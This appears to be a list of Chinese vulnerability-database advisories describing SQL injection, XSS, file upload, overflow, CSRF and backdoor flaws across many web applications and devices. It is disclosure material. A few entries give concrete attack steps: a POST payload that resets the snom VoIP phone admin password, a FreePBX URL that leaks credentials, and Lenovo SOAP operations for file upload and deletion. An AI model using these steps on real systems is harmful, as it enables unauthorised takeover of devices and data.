Typo3是基于PHP和MySQL数据库的开源内容管理系统(CMS)和内容管理框架(CMF)的领导性品牌之一，是强大的开源解决方案。  TYPO3 Crop和Square Thumbnails extension中存在未明SQL注入漏洞和跨站脚本漏洞，这些漏洞源于对用户提供的数据未经充分过滤。攻击者可利用这些漏洞盗取基于cookie的认证证书，操控应用程序，访问或修改数据，或者在底层数据库中利用这些漏洞。TYPO3 Crop和Square Thumbnail 1.2.4及之前版本中存在这些漏洞。
Typo3是基于PHP和MySQL数据库的开源内容管理系统(CMS)和内容管理框架(CMF)的领导性品牌之一，是强大的开源解决方案。  TYPO3 Share Your Car (cc20) extension中存在未明SQL注入漏洞和跨站脚本漏洞，这些漏洞源于对用户提供的数据未经充分过滤。攻击者可利用这些漏洞盗取基于cookie的认证证书，操控应用程序，访问或修改数据，或者在底层数据库中利用这些漏洞。TYPO3 Share Your Car 2.0.0版本中存在这些漏洞。
Typo3是基于PHP和MySQL数据库的开源内容管理系统(CMS)和内容管理框架(CMF)的领导性品牌之一，是强大的开源解决方案。  TYPO3 PDF Controller extension中存在未明远程代码执行漏洞和信息泄露漏洞。攻击者可利用这些漏洞执行任意代码或者获取潜在的敏感信息。PDF Controller 1.0.1及之前版本中存在这些漏洞。
phpDenora中存在SQL注入漏洞，该漏洞源于对用户提供的数据在用于SQL查询之前未经充分过滤。攻击者可利用此漏洞操控应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。
Typo3是基于PHP和MySQL数据库的开源内容管理系统(CMS)和内容管理框架(CMF)的领导性品牌之一，是强大的开源解决方案。  TYPO3的Predigtsammlung Extension中存在未明SQL注入漏洞，该漏洞源于对用户提供的输入在用于SQL查询之前未经充分过滤。攻击者可利用该漏洞操控应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。Predigtsammlung 0.1.5及之前版本中存在该漏洞。
Typo3是基于PHP和MySQL数据库的开源内容管理系统(CMS)和内容管理框架(CMF)的领导性品牌之一，是强大的开源解决方案。  TYPO3 Apache Solr extension中存在未明跨站脚本漏洞，该漏洞源于对用户提供的输入未经充分过滤。攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，可能允许攻击者盗取基于cookie的认证证书进而发起其他攻击。TYPO3 Apache Solr 1.3.0及之前版本中存在该漏洞。
YVS Image Gallery中存在SQL注入漏洞，该漏洞源于对用户提供的输入在用于SQL查询之前未经充分过滤。攻击者可利用该漏洞操控应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。YVS Image Gallery 0.0.0.1版本中存在该漏洞，其他版本也可能受到影响。
Magn WP Drag and Drop Upload插件中存在任意文件上传漏洞，该漏洞源于应用程序对用户提供的输入未经充分过滤。攻击者可利用该漏洞上传任意文件到受影响计算机，在受影响应用程序上下文中执行任意代码。Magn WP Drag and Drop Upload 0.9版本中存在该漏洞，其他版本也可能受到影响。
OneForum中存在SQL注入漏洞，该漏洞源于对用户提供的输入在用于SQL查询之前未经充分过滤。攻击者可利用该漏洞操控应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。
phpDenora是一款基于PHP的IRC(在线聊天软件)的统计数据工具。 phpDenora 'ed'参数存在SQL注入漏洞，由于没有严格地过滤'ed'参数的用户输入，导致SQL注入攻击。攻击者可利用此漏洞完全控制应用程序，访问或修改数据库内容或发起进一步的攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Magn Drag和Drop Upload存在任意文件上传漏洞，由于wp-content/plugins/magn-html5-drag-drop-media-uploader/dndupload.php脚本未能正确验证上传文件，攻击者可以利用漏洞通过上传恶意PHP脚本执行任意PHP代码。
YVS Image Gallery是一款图库系统。YVS Image Gallery存在SQL注入漏洞，由于通过"album_id"参数传递到view_album.php的输入在gallery_pages/view_album.php中被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
Elefant CMS是一款内容管理系统。Elefant CMS存在跨站脚本漏洞，由于传递到admin/preview中"layout", "title", "window_title", and "body" POST参数的输入在apps/admin/handlers/preview.php中被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
snom VoIP Phone是一款网络电话实现。snom VoIP Phone存在远程权限提升漏洞。由于用于管理员用户登录的表单与重置管理员密码的表单相同，可导致特权提升，更改他们的密码时无需输入旧的密码。此表单也受跨站请求伪造攻击。此问题可通过如下页面利用：版本7, 8: http://x.x.x.x/advanced_network.htm版本6和以下的: http://x.x.x.x/advanced.htm提交如下POST数据可重置管理员密码：admin_mode=onadmin_mode_password=newpassadmin_mode_password_confirm=newpassSettings=Savehidden_tag=(如果固件7.1.33及以上固件中开启了CSRF保护的话保留当前POST变量)
酷纬企业网站管理系统是酷纬信息开发的为企业网站提供解决方案而开发的营销型网站系统。官方在该系统安置了后门。Kuwebs企业网站管理系统在实现上存在系统后门，会发送后台管理地址到厂商，远程攻击者可以利用这个问题在系统上执行任意命令。
Movable Type是一款基于WEB的网络博客系统。Movable Type存在漏洞。由于通过文件管理系统传入的某些输入在使用之前缺少校验，允许恶意用户注入和执行任意命令。
Movable Type是一款基于WEB的网络博客系统。Movable Type评注和社体(community)脚本存在错误，允许恶意用户被利用劫持其他用户会话。
Movable Type是一款基于WEB的网络博客系统。Movable Type存在跨站请求伪造攻击，攻击者可以构建恶意URI，诱使用户解析，可以登录用户上下文执行恶意操作。
Movable Type是一款基于WEB的网络博客系统。Movable Type存在漏洞。由于通过mt-wizard.cgi和templates传入的输入在返回用户之前缺少过滤，允许恶意用户导致跨站脚本攻击。
D-Link DSL-2640B是一款路由器设备。D-Link DSL-2640B存在验证绕过漏洞。当管理员登录路由器后，内部攻击者可以连接WEB管理接口(默认http://192.168.1.1:80)并可查看已登录管理员的MAC地址，简单的更改攻击者的MAC地址为登录管理员的地址，可未授权访问设备。
D-Link DCS是摄像设备产品。D-Link DCS存在漏洞。由于D-Link DCS产品提供的'security.cgi'未能正确过滤用户提交的输入，可触发跨站请求伪造攻击，攻击者构建恶意URI，诱使用户访问，可以管理员权限执行恶意操作。
PFILE是一款博客系统。PFILE存在SQL注入漏洞，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
PFILE是一款博客系统。PFILE存在多个跨站脚本，攻击者可以利用漏洞在受影响的机器上执行任意代码，上述攻击未执行成功也可导致一个拒绝服务条件。
TYPO3是一个免费开源的内容管理系统。TYPO3 Modern FAQ存在跨站脚本漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞执行任意脚本或HTML代码并窃取基于Cookie的身份验证凭据。
TYPO3是一个免费开源的内容管理系统。TYPO3 Modern FAQ存在开放重定向漏洞。由于程序未能充分过滤用户提供的输入，攻击者可以利用漏洞进行钓鱼攻击。
ButorWiki是一个基于java的Wiki,它是一个web应用程序，使用Butor Java框架与struts MVC框架。ButorWiki存在跨站脚本漏洞。由于程序未能正确的过滤用户提供输入。攻击者可以利用漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并发动其他攻击。
Dolphin的前身是一款NGC模拟器，在重新改制后已经可以在中等配置PC上全速模拟绝大多数Wii游戏，尤其可以支持原生Wii控制器，是玩家首选的Wii模拟器。Dolphin隐私设置存在安全绕过漏洞，由于应用程序未能验证pedit.php中的权限，攻击者可以利用漏洞通过特制的HTTP请求操纵其他用户的隐私设置。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla! X-Shop组件存在SQL注入漏洞。由于程序在被用于SQL查询使用前未能正确过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库实现潜在的漏洞。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件SB Uploader任意文件上传漏洞，由于wp-content/plugins/sb-uploader/sb_uploader.php脚本未能验证上传文件，攻击者可以利用漏洞通过上传恶意PHP文件执行任意PHP代码。
WebcamXP/Webcam7是流行的网络摄像软件。WebcamXP/Webcam7 WEB接口不正确过滤用户提交的请求，攻击者可以提交目录遍历序列请求，以应用程序上下文查看系统文件内容。
Unity Web Player是一个浏览器扩展，允许在浏览器中直接播放使用Unity技术编制的3D内容。当解析Unity 3D文件时存在边界错误，构建特制的文件，诱使用户解析，可触发基于堆的缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
DAMN Hash Calculator是一款用于计算md5 sha1 crc32文件的哈希计算器。DAMN Hash Calculator存在一个基于堆的缓冲区溢出，攻击者可以构建恶意文件，诱使用户导入，可以应用程序上下文执行任意代码。
Apple iOS是一款运行在苹果iPhone和iPod touch设备上的最新的操作系统。Apple iOS的未接电话通知存在安全漏洞，可触发未授权访问iPhone用户的联系人列表，最近呼叫记录，语音邮件，短消息等。在开始通话后快速移除SIM卡，当设备搜索信号时，iPhone会被解锁。
ABB WebWare Server是一种软件产品，主要用于生产数据控制。ABB WebWare Server提供的RobNetScanHost.exe存在安全缺陷，当它解析5512端口上的opcodes为0xE和0xA的'Netscan'报文时，由于分配了固定的20字节大小的缓冲区可导致触发基于栈的缓冲区溢出，成功利用漏洞可以以服务进程(LocalSystem)上下文执行任意代码。
ASUS Net4Switch是一款自动网络配置软件。Net4Switch ipswcom ActiveX控件当创建调试消息字符串时 "CxDbgPrint()"函数(cxcmrt.dll)存在边界错误，向"Alert()"方法提交超长字符串可触发基于堆的缓冲区溢出，允许攻击者以应用程序上下文执行任意代码。
Dragonfly CMS中存在多个跨站脚本漏洞，这些漏洞源于对用户提供的数据未经充分过滤。攻击者可利用这些漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，可能允许攻击者盗取基于cookie的认证证书进而发起其他攻击。Dragonfly 9.3.3.0版本中存在这些漏洞，其他版本也可能受到影响。
BASE是一款基础分析安全引擎。BASE地址容易产生安全绕过和多个远程文件漏洞，攻击者可以利用这个问题在受影响的机器上执行任意代码，上述攻击未执行成功也可以导致系统拒绝服务。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。SAP NetWeaver MessagingSystem servlet存在错误可被利用泄露某些MessagingSystem性能数据信息。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。SAP NetWeaver com.sap.aii.mdt.amt.web.AMTPageProcessor servlet存在错误可被利用泄露某些Adapter监视信息。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。SAP NetWeaver存在漏洞。由于通过"_loadPage"参数传递给Internet Sales模块中b2b/auction/container.jsp脚本的输入在返回用户之前缺少过滤，攻击者可以利用漏洞导致跨站脚本攻击。
Drupal是一款开源的内容管理平台。Drupal Organic Groups Vocabulary模块存在安全绕过漏洞，由于程序未能正确限制访问词汇，攻击者可以利用漏洞修改其它组的词汇。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。SAP NetWeaver存在漏洞。由于通过"logfilename"参数传递给ipc/admin/log.jsp或ipc/admin/log_view.jsp脚本的输入在用于显示文件之前缺少校验，可导致通过目录遍历序列获得任意文件信息。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。SAP NetWeaver存在漏洞。由于通过"logfilename"参数传递给Internet Sales模块中的b2b/admin/log_view.jsp或b2b/admin/log.jsp脚本的输入在用于显示文件之前缺少校验，可导致通过目录遍历序列获得任意文件信息。
Xavi 7968 ADSL Router是一款ADSL路由器设备。Xavi 7968 ADSL Router存在漏洞。由于程序未能正确校验用户提交的请求，攻击者可以构建恶意URI，诱使用户解析，在设备上运行特权命令，如更改配置，进行拒绝服务攻击或注入任意脚本代码。
Jenkins是一款Java平台的开源持续集成（Continuous Integration，CI）引擎。Jenkins存在脚本注入漏洞，由于通过"description" POST参数传递到user/<user name>/submitDescription的输入在被使用前未能正确过滤，当恶意数据被查看时，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中注入任意HTML和脚本代码。
Symantec pcAnywhere是一款流行的远程管理程序。当处理某些网络请求时awhost32组件存在错误，向TCP 5631端口提交特制报文可使awhost32服务崩溃，可导致连接中断，造成拒绝服务攻击。
Mercury MR804 Router是一款路由器设备。Mercury MR804 Router HTTP服务处理HTTP头字段(如If-Modified-Since, If-None-Match, If-Unmodified-Since)存在拒绝服务漏洞，远程攻击者可以利用漏洞使设备停止响应。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Absolute Privacy存在安全绕过漏洞，由于wp-content/plugins/absolute-privacy/functions.php中的"abpr_authenticateUser()"方法存在错误，阻止密码的验证，攻击者可以利用漏洞绕过验证，访问管理程序。
Linksys WAG54GS Wireless Router是一款无线路由器设备。Linksys WAG54GS Wireless Router存在跨站请求伪造漏洞。由于程序未能正确校验用户提交的请求，攻击者可以构建恶意URI，诱使用户解析，在设备上运行特权命令，如更改配置，进行拒绝服务攻击或注入任意脚本代码。
Jeskola Buzz是一款音乐跟踪器。Jeskola Buzz存在缓冲区溢出漏洞。攻击者构建恶意文件，诱使用户解析，成功利用漏洞可以以应用程序上下文执行任意代码。
IP.Board是一款可扩展的bbs系统。IP.Board Admin Login Details存在脚本注入漏洞，由于登陆到管理界面时，某些输入在显示给用户前未能正确过滤，攻击者可以利用漏洞在查看管理员登陆失败细节时在受影响站点上下文的用户浏览器会话中注入任意HTML和脚本代码。
Jeskola Buzz是一款音乐跟踪器。Jeskola Buzz存在任意内存破坏漏洞。攻击者构建恶意文件，诱使用户解析，成功利用漏洞可以以应用程序上下文执行任意代码。
IBM WebSphere Lombardi Edition是一款业务流程管理解决方案。IBM WebSphere Lombardi Edition存在脚本插入漏洞。由于通过coaches中某些输入控制传递的输入在使用之前缺少过滤，可被利用注入HTML和脚本代码，如果恶意数据被查看时可导致在用户浏览器上执行，可获得敏感信息或劫持用户会话。
Hitachi Command Suite是一款集成软件套件，可对虚拟化存储和服务器基础设施进行高效管理。Hitachi Command Suite存在跨站脚本攻击漏洞。由于某些未明输入在返回用户之前缺少过滤，攻击者可以利用漏洞进行跨站脚本攻击，构建恶意URI，诱使用户解析，可获得敏感信息或劫持用户会话。
EasyVista单点登录功能存在漏洞，攻击者可以利用漏洞绕过验证登录。EasyVista使用的单点登录功能没有使用编码值(encoded values)，如果攻击者可以获取可访问应用系统的任意用户的登录名，那么攻击者可以使用特制的URI来绕过验证。
BlackBerry PlayBook Tablet是一款黑莓公司推出的平板电脑。BlackBerry PlayBook文件共享服务所使用的开源Samba软件存在安全漏洞，允许攻击者在BlackBerry PlayBook平板电脑上执行任意代码。Samba服务用于在平台电脑和电脑之间进行文件共享，远程攻击者可以利用漏洞通Wi-Fi网络利用获得对开启Wi-Fi文件共享系统的控制。当平板电脑使用USB连接电脑，并且如果攻击者可以物理访问电脑，也受此漏洞影响。
Jamroom是一款社交媒体平台。Jamroom存在脚本注入漏洞，由于通过"user_action"参数传递到user.php的输入(当"mode"设置为"user_action_save")在被使用之前未能正确过滤，攻击者可以利用漏洞当恶意数据被查看时，在受影响站点上下文的用户浏览器会话中注入任意HTML或脚本代码。
CPG Dragonfly CMS是一款开放源码的内容管理系统。CPG Dragonfly CMS存在跨站脚本漏洞，由于通过"meta"参数或URL传递到index.php (当"name" 设置为"coppermine"和"file"设置为"thumbnails") 的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意代码。
X3 CMS中存在跨站脚本漏洞，由于程序未能正确过滤用户提供的输入，攻击者可利用此漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，这可能允许攻击者盗取基于cookie的认证证书进而发起其它攻击。X3 CMS 0.4.3.1版本中存在该漏洞，其它版本也可能受到影响。
Joomla! 是一款开放源码的内容管理系统。Joomla!Xcomp组件存在本地文件包含漏洞由于应用程序未能充分过滤用户提供的输入，攻击者可利用此漏洞在web服务器进程上下文中获取潜在的敏感信息进而执行任意本地脚本，这可能允许攻击者操控应用程序和底层计算机，也可能执行其他的攻击。
Joomla! 是一款开放源码的内容管理系统。Joomla! 'com_xvs'组件'controller'参数存在本地文件包含漏洞该漏洞。由于程序对用户提供的输入未经充分过滤，攻击者可利用此漏洞获取潜在的敏感信息或者在web服务器进程上下文中执行任意本地脚本，这可能允许攻击者操控应用程序和计算机，也可能执行其他的攻击。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。WordPress插件Absolute Privacy存在安全绕过漏洞。攻击者可利用该漏洞绕过认证机制进而获取对受影响应用程序的管理访问权，这可能导致进一步的攻击。
Dolphin的前身是一款NGC模拟器，在重新改制后已经可以在中等配置PC上全速模拟绝大多数Wii游戏，尤其可以支持原生Wii控制器，是玩家首选的Wii模拟器。Dolphin存在多个跨站脚本漏洞，攻击者可以利用漏洞在受影响的机器上执行任意代码，上述攻击未执行成功也可导致一个拒绝服务条件。
D-Link为台湾第一家公开上市的网络公司，以自创D-Link品牌行销电脑网络产品遍及全世界100多个国家。D-Link DSL-2640B路由器存在跨站请求伪造漏洞，允许攻击者在受影响的设备上运行特权命令，更改配置，导致拒绝服务，或注入任意脚本代码。其他的攻击也是可能的。
SQL Buddy是一个开源，结合Ajax技术开发的MySQL数据库管理工具。SQL Buddy存在跨站脚本漏洞。由于通过"HOST", "USER", and "DATABASE"参数传递到login.php和通过"db"参数传递到dboverview.php的输入在被返回给用户之前未能正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
JaWiki是一款基于文件数据库的Java Wiki。JaWiki存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入。攻击者可利用此漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
MoniWiki是一款韩文的WIKI WEB应用程序。MoniWiki存在跨站脚本漏洞。由于程序未能充分过滤用户提供的数据。允许攻击者向受影响的服务器上执行任意脚本，窃取基于Cookie的身份验证凭据。
Psycle是一款类似合成器的软件。psycle存在缓冲区溢出漏洞。由于程序未能正确边界检查用户提供的数据。攻击者可以利用利用漏洞在受影响的应用程序上下文内执行任意代码。失败的攻击尝试将导致一个拒绝服务条件。
X3 CMS是一个基于PHP MySQL的内容管理系统（CMS）。X3 CMS存在跨站脚本漏洞。由于在cms/controllers/public/search_controller.php中传递到en/search的"search" POST参数的输入在被返回给用户之前在未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
VOXTRONIC Voxlog Professional是一款语音记录解决方案。VOXTRONIC Voxlog Professional存在漏洞。由于操作系统包含三个不同的使用非常简单的密码的账户，其中一个拥有本地管理权限。WEB接口的默认管理员账户也使用非常简单的密码。
VOXTRONIC Voxlog Professional是一款语音记录解决方案。VOXTRONIC Voxlog Professional的web接口如"userlogdetail.php"存在SQL注入漏洞，使用Microsoft SQL服务器的voxlog professional安装使用"sa"账户，可使用"xp_cmdshell"存储过程执行任意命令。无需用户账户即可利用。
VOXTRONIC Voxlog Professional是一款语音记录解决方案。VOXTRONIC Voxlog Professional存在漏洞。WEB接口"get.php"脚本允许攻击者读取操作系统的任意文件，如配置文件和其他敏感voxlog文件，语音记录。无需用户账户即可利用。
UTC Fire and Security是联合技术消防安防公司，提供全面的消防安防解决方案。UTC Fire and Security GE-MC100-NTP/GPS-ZB主钟(Master Clock)包含一个默认登录凭据，无法由管理员修改。UTC Fire and Security GE-MC100-NTP/GPS-ZB主钟(Master Clock)通过Zigbee同步60,000子钟，管理员可通过WEB接口登录设备，这些设备包含内置的管理员用户名和密码，不能被管理员修改。攻击者可以利用此账户查看，更改配置文件或敏感数据。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。当处理包装在SOAP消息中的某些命令时SAPHostControl服务存在边界错误，可通过超长命令触发基于栈的缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
Mitra Iranian CMS是一款内容管理系统。Mitra Iranian CMS绑定使用存在漏洞的Xinha，其中plugins/ExtendedFileManager/manager.php和plugins/ImageManager/manager.php脚本未能正确校验上传的文件，可导致上传任意PHP文件并执行。
F*EX是一款基于WEB的文件交换服务器。F*EX存在跨站脚本漏洞。由于通过"to"和"from" POST参数传递给/fup的输入在返回用户之前缺少过滤，可导致跨站脚本。
F*EX是一款基于WEB的文件交换服务器。F*EX存在跨站脚本漏洞。由于通过"id"参数传递给/fup的输入在返回用户之前缺少过滤，可导致跨站脚本。
Endian Firewall是一款开源UTM设备。Endian Firewall存在跨站脚本漏洞。由于程序未能正确过滤用户提交的输入，可导致跨站脚本攻击，攻击者可以构建恶意URI，诱使用户解析，可获得敏感信息或劫持用户会话。
ELBA electronic banking是一个多用户，多协议银行应用。ELBA electronic banking由于未能充分输入验证，应用程序<v5.5.0 R5允许进行SQL命令注入，利用此漏洞，攻击者可以获得存储在数据库上的所有记录，并可用于访问其他用户账户和数据。非sysadmin用户创建账户组过程中没有过滤账户组名，并用于SQL查询，这允许注入任意SQL代码。账户组创建可通过menu -> Master Data -> More -> Account Groups访问。
ELBA electronic banking是一个多用户，多协议银行应用。ELBA application 5.4.1版本监听远程可访问端口用于网络测试，它使用Java序列化，其协议没有任何加密或验证，这可被利获得当前登录用户名。获取用户名可进一步对不同服务进行攻击或暴力破解用户。另外如果ELBA接收到非法序列化方法名，会断言失败(assertation fails)并显示攻击者可控的消息框，强制用户关闭应用程序。这可导致拒绝服务攻击或进行社会工程攻击。
11in1存在HTTP响应拆分漏洞。由于程序对用户提供的数据没有充分过滤，攻击者可利用漏洞影响或误传网页内容是如何送达、缓存和解释的，使用户产生错误的信任感。
Jenkins的前身是Hudson是一个可扩展的持续集成引擎。Jenkins存在多个HTML注入漏洞。由于程序在被用于动态生成内容前未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的浏览器上下文中运行HTML和脚本代码，可能允许盗取基于cookie的认证证书并控制网站是如何呈现给用户。Jenkins 1.408版本至1.451版本中存在这些漏洞，其他版本也可能受到影响。
Pandora FMS是一个开源的应用程序，用来监测网站的各种活动。Pandora FMS中存在本地文件包含漏洞，由于程序未能正确过滤用户提供的输入，攻击者可利用此漏洞在web服务器进程上下文中浏览文件，执行本地脚本，这可能导致进一步的攻击。Pandora FMS 4.0.1版本中存在该漏洞，其他版本也可能受到影响。
webgrind中存在跨站脚本漏洞，该漏洞源于对用户提供的数据未经充分过滤。攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，这可能允许攻击者盗取基于cookie的认证证书进而发起其他攻击。webgrind 1.0 版本中存在该漏洞，其他版本也可能受到影响。
BroadWin SCADA WebAccess是基于网络浏览器的HMI和SCADA软件，用于工业控制系统和实现自动化。Advantech/Broadwin HMI/SCADA WebAccess 6.x.x/7.x.x实现上存在漏洞，远程攻击者可能利用此漏洞在系统上执行任意代码。
XnView是一款图像处理系统。XnView处理各种图像格式，如jpeg, ico, pcx, fli存在多个堆溢出问题，攻击者构建恶意文件，诱使用户解析，可导致应用程序崩溃或可能以应用程序上下文执行任意代码。
swDesk是一款客户关系管理解决方案。通过"email"和"password"参数传递给signin.php的输入在使用之前缺少校验，可被利用注入和执行任意PHP代码。
Skype是一款流行的P2P VoIP软件，可提供高质量的语音通讯服务。Skype存在一个内存破坏漏洞，处理linux v2.2.0.35(Beta)客户端到windows v5.6.59.10客户端之间的特制传送/通信时存在此问题。此漏洞允许linux客户端用户使windows客户端停止响应。但不能通过冲突(读/写)来执行任意代码。
R2/Extreme是一款WinAmp音乐播放器插件。R2/Extreme存在多个安全漏洞，包括通过"File"命令触发的栈溢出，通过"File"命令进行目录遍历攻击，或通过9999端口暴力破解PIN号码。远程攻击者可以利用漏洞以应用程序上下文执行任意代码或获得系统敏感文件信息。
PHP是一款流行的编程语言。Php 5.2.0至5.2.17之间存在一个信息泄露问题，并且由于在关闭阶段未能正确清理filter_globals结构可能导致任意代码执行。如果在设置PG(modules_activated)为1之前在启动阶段PHP bailout，filter_globals结构在关闭阶段不会被清理。后续请求会使用filter_globals结构没有清理干净的值，使用特制的请求可导致信息泄露和任意代码执行。
Novell GroupWise Messenger是一款即时信息客户端。 Novell GroupWise Messenger nmma.exe运行在端口8300上，"login"命令中的NM_A_PARM1标记是使用blowfish加密的"username::password"字符串，设置标记值为12，用于login->NM_A_PARM1时允许破坏堆内存。
Novell GroupWise Messenger是一款即时信息客户端。 Novell GroupWise Messenger nmma.exe运行在端口8300上，通过合法账户发送类型为9的"createsearch"命令可在任意内存位置写入0x00000000，可导致应用程序崩溃。
Novell GroupWise Messenger Client是一款即时信息客户端。 Novell GroupWise Messenger客户端处理nmx文件时在构建消息时存在一个unicode栈溢出，此漏洞可通过nmx文件利用，也可以使用WEB浏览器中的"nim" URL协议，结合使用"filename"指向WEB服务器或者UNC路径的"import"命令来自动运行。
Novell GroupWise Messenger是一款基于GroupWise平台的即时交流工具。Novell GroupWise Messenger存在内存损坏漏洞，由于8300端口的nmma.exe服务存在缺陷，"login"命令的NM_A_PARM1标签是以blowfish加密的"username::password"字符串的base64编译。该标签值为10相关的字符串，但是存在值为12的另一种类型的特殊数据。当恶意的用户以特殊的数据登录login->NM_A_PARM1时，会导致内存损坏。
XnView是一款图像处理系统。XnView存在多个安全漏洞，如：width/height计算整型溢出及jpeg、ICO、PCX、FLI多个堆溢出漏洞。攻击者可利用此漏洞导致信息泄露或进行拒绝服务攻击。
Piwik是一款利用Php+MySQL技术构建的开源网页访问统计系统。Piwik 1.7之前版本中存在跨站请求伪造漏洞和跨站脚本漏洞。攻击者可利用跨站请求伪造漏洞在用户会话上下文中执行未授权操作，这可能导致其他的攻击；攻击者可利用跨站脚本漏洞在受影响站点上下文中执行任意脚本代码，可能允许攻击者盗取基于cookie的证书，也可能执行其他的攻击。
Tube Ace中存在跨站脚本漏洞，由于程序对用户提供的输入未经充分过滤。攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，这可能允许攻击者窃取基于cookie的认证证书进而发起其他攻击。
FreePBX是一款用来控制Asterisk的图形化接口。访问http:///admin/modules/framework/bin/gen_amp_conf.php，可获得包括WEB接口管理密码等配置参数。攻击者可以登录接口，获得已存在的SIP账户，可用于电话呼出。
Citrix XenServer是实现服务器虚拟化和提供动态数据中心的最简捷和最有效的方式，动态数据中心为计算和存储提供灵活的资源池。Citrix XenServer提供的Web Self Service管理WEB接口存在未明错误，目前没有详细漏洞细节提供。
ACDSee是一款流行的图像处理软件。当使用图像尺寸值分配内存时IDE_ACDStd.apl模块存在一个整数溢出，构建特制的BMP文件，诱使用户解析，可以应用程序上下文执行任意代码。
Sonexis ConferenceManager 10.0.40及之前版本中存在远程信息泄露漏洞和安全绕过漏洞。攻击者可利用这些漏洞获取敏感信息，进而绕过某些安全限制。
Drupal是一款开源CMS，可以作为各种网站的内容管理平台。  Drupal的Link Checker模块6.x-2.5之前版本中存在安全绕过漏洞。攻击者可利用此漏洞绕过安全限制进而获取敏感信息，或执行未授权操作，这可能导致进一步的攻击。
Drupal是一款开源CMS，可以作为各种网站的内容管理平台。  Drupal的Faster Permissions模块中存在安全绕过漏洞，可能允许攻击者执行未授权操作。攻击者可利用此漏洞绕过某些安全限制进而执行如配置模块权限的未授权操作，这可能导致进一步的攻击。Faster Permissions 7.x-1.x之前版本到7.x-1.2版本中存在该漏洞。
Zimbra可为通信和协同办公提供开源服务器和客户端软件。 Zimbra Collaboration Suite存在多个安全漏洞，允许攻击者获得敏感信息或执行任意代码。
Sonexis ConferenceManager是一款多平台WEB会议解决方案。Sonexis ConferenceManager存在安全漏洞。由于不正确限制对admin/backup/settings.asp脚本的访问，可被利用向备份功能所使用的windows共享读和写用户凭据。
Mumble是一款游戏中的语音通讯工具。Mumble存在安全漏洞，由于应用程序Mumble以全局可读方式不安全创建数据库文件(~/.local/share/data/Mumble/Mumble/.mumble.sqlite)，可本地利用泄露密码和配置设置。
Lenovo ThinkManagement Console是一款用于Lenovo客户的管理工具。Lenovo ThinkManagement Console存在安全漏洞，允许恶意用户操作部分数据或控制应用。（1）ServerSetup web服务(/landesk/managementsuite/core/core.anonymous/ServerSetup.asmx)允许未授权访问某些基于SOAP的操作，通过"RunAMTCommand"操作中的"-PutUpdateFileCore"命令可上传任意文件到WEB ROOT。（2）当处理某些基于SOAP的操作时VulCore web服务(/WSVulnerabilityCore/VulCore.asmx)存在输入验证错误，可被利用向"SetTaskLogByFile"操作的"filename"参数传递目录遍历序列，可删除任意文件。
eFront是一套功能齐全的在线学习系统，拥有漂亮的Ajax界面。它能够让管理员利用其提供的各种工具来创建和管理课程。eFront Community++中存在SQL注入漏洞和多个HTML注入漏洞，这些漏洞源于对用户提供的输入数据未经充分过滤。攻击者可利用这些漏洞操控应用程序，访问或修改数据，在底层数据库中利用这些漏洞，在受影响站点上下文中执行HTML或脚本代码；盗取基于cookie的认证证书或控制网站传达给用户的方式，也可能执行其他的攻击。eFront Community++ 3.6.10版本中存在这些漏洞，其他版本也可能受到影响。
PBBoard是国外的一款论坛程序。PBBoard中存在任意文件上传漏洞，由于应用程序对用户提供的数据未经充分过滤。攻击者可利用该漏洞在web服务器进程上下文中上传任意代码并运行它。PBBoard 2.1.4版本中存在该漏洞，其他版本也可能受到影响。
Zero install是一款分散的跨平台软件安装系统。Zero install没有正确检查SSL服务器证书中提供的"Common Name"字段是否匹配服务器请求的主机名，可被利用进行中间人攻击。
Nova CMS是一款内容管理程序。Nova CMS多个脚本未能正确过滤用户提交的输入，远程攻击者可以利用漏洞提交恶意URL数据，包含远程文件，并以WEB权限执行任意PHP代码。
